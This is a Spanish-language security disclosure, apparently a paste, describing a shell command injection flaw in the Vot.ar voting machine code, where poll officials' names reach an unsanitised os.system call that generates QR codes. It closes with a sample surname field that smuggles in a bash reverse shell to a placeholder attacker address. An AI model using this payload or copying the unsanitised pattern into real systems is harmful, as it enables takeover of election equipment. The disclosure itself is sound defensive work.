JustPaste.it

Vulnerabilidad de inyeción de comandos de shell en código de maquina de votación Vot.ar de empresa MSA (msa.com.ar)

Descripción:
------------
Ejecución de código via inyección de comandos en el apellido y nombre de autoridad de mesa al imprimir código QR. Código disponible en https://github.com/prometheus-ar/vot.ar

#1) la función a_qr_str() de la clase Apertura() devuelve una lista separada por comas de los nombres de autoridades:

msa/core/clases.py, linea 190:
def a_qr_str(self):
"""Devuelve la informacion del recuento para almacenar en qr."""
for autoridad in self.autoridades:
dato = ",".join((autoridad.apellido, autoridad.nombre,
str(autoridad.nro_documento)))
datos.append(dato)
return ";".join(datos)


#2) La función a_qr() envía esos datos a la función vulnerable crear_qr():

msa/core/clases.py, linea 206:
def a_qr(self):
datos = self.a_qr_str()
return crear_qr(datos)

#3) La función msa/core/qr.py:crear_qr.py no sanitiza la entrada y ejecuta en un shell los datos:

def crear_qr(datos):
'''Genera una imagen con codigo qr de los datos recibidos.'''
...
tmpl_comando = u'qrencode -o %s -s%s -m0 -l%s "%s"'
comando = tmpl_comando % (temp_path, unicode(QR_PIXEL_SIZE), QR_ERROR_LEVEL,
u''.join(datos))
...
os.system(comando)


#Ejemplo de nombre de autoridad de mesa que ejecuta un reverse shell:

Nombre: Juan Domingo
Apellido: Peron;/bin/bash -i >& /dev/tcp/ATTACKIP/31337 0>&1'